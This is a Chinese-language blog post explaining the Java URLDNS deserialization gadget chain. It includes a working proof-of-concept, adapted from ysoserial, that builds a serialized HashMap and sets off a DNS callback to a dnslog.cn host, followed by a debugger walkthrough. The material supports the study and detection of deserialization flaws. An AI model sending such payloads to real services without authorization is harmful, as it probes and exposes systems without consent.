URLDNS反序列化鏈學習

akka1發表於2022-04-05

URLDNS

URLDNS跟CommonsCollections比起來真是眉清目秀,該鏈主要用於驗證漏洞,並不能執行命令,優點就是不依賴任何包。

1、利用鏈

 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()
   		URLStreamHandler.hashCode()
   		  URLStreamHandler.getHostAddress()

其實看這個利用鏈我們就能發現其實跟cc6的利用是差不多的。

2、POC

2.1、漏洞復現

import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.util.HashMap;
import java.net.URLStreamHandler;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws Exception {
        String url="http://wmm760.dnslog.cn";
        URLStreamHandler handler = new SilentURLStreamHandler();

        HashMap ht = new HashMap(); // HashMap that will contain the URL
        URL u = new URL(null, url, handler); // URL to use as the Key
        ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

        Field hashCode = URL.class.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(u, -1);

        serialize(ht);
        unserialize();

    }
    static class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }


    public static void serialize(Object obj ) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static void unserialize() throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
        objectInputStream.readObject();
    }
}

image-20220405141952914

2.2、POC分析

其實建立了一個空的URLStreamHandler,把它放進我們的建立的URL類(放著我們的驗證dnslog),再把 他們放進HashMap,通過反射去修改URL的hashCode屬性為-1。

String url="http://wmm760.dnslog.cn";
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Field hashCode = URL.class.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(u, -1);

URLStreamHandler

我們看第一段的URLStreamHandler類的hashcode方法,他會把我們的傳進去的URL通過getHostAddress觸發,我們現在需要查詢哪裡呼叫了URLStreamHandler的hashCode()

image-20220405142545635

URL

在URL類中的hashCode方法,如果hashCode不等於-1,就會直接返回,這就是我們為什麼要反射 設定hashCode為-1的原因,handler其實就是我們在URL構造方法傳入的URLStreamHandler,所以這裡呼叫的是URLStreamHandler的hashCode方法,並且this就是我們的通過構造方法傳入的URL類。再往上找哪裡呼叫hashCode方法,這時我們就可以想到cc6鏈的運用了。

image-20220405143322650

那就是HashMap

HashMap的hash方法會用傳入的key去呼叫key的hashcode方法,所以我們只要把URL類傳給HashMap的key就可以了。

image-20220405143950292

再通過readObject的putVal呼叫即可

image-20220405144153531

2.3、POC除錯

首先我們在HashMap的readObject打下斷點,可以看到key就是我們的URL類,value是一個"惡意網址",用於條件判斷

image-20220405144320262

進入到HashMap的hash方法,呼叫key的hashCode方法就是呼叫URL的hashCode方法,繼續跟進

image-20220405144828908

handler就是URLStreamHandler,在new URL()傳入的,this是本類URL類,繼續跟進

image-20220405145020989

URLStreamHandler的hashCode方法,他會呼叫getHostAddress方法,該方法會去遠端請求,多說一句也是我們審計用來審計ssrf漏洞的常用函式

image-20220405145215502

在這句程式碼會請求兩三秒的樣子,dnslog成功收到。

image-20220405145536102

2.4、結尾

總體來說這條鏈是比較簡單的,但是就是不能夠執行命令

參考連結

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

相關文章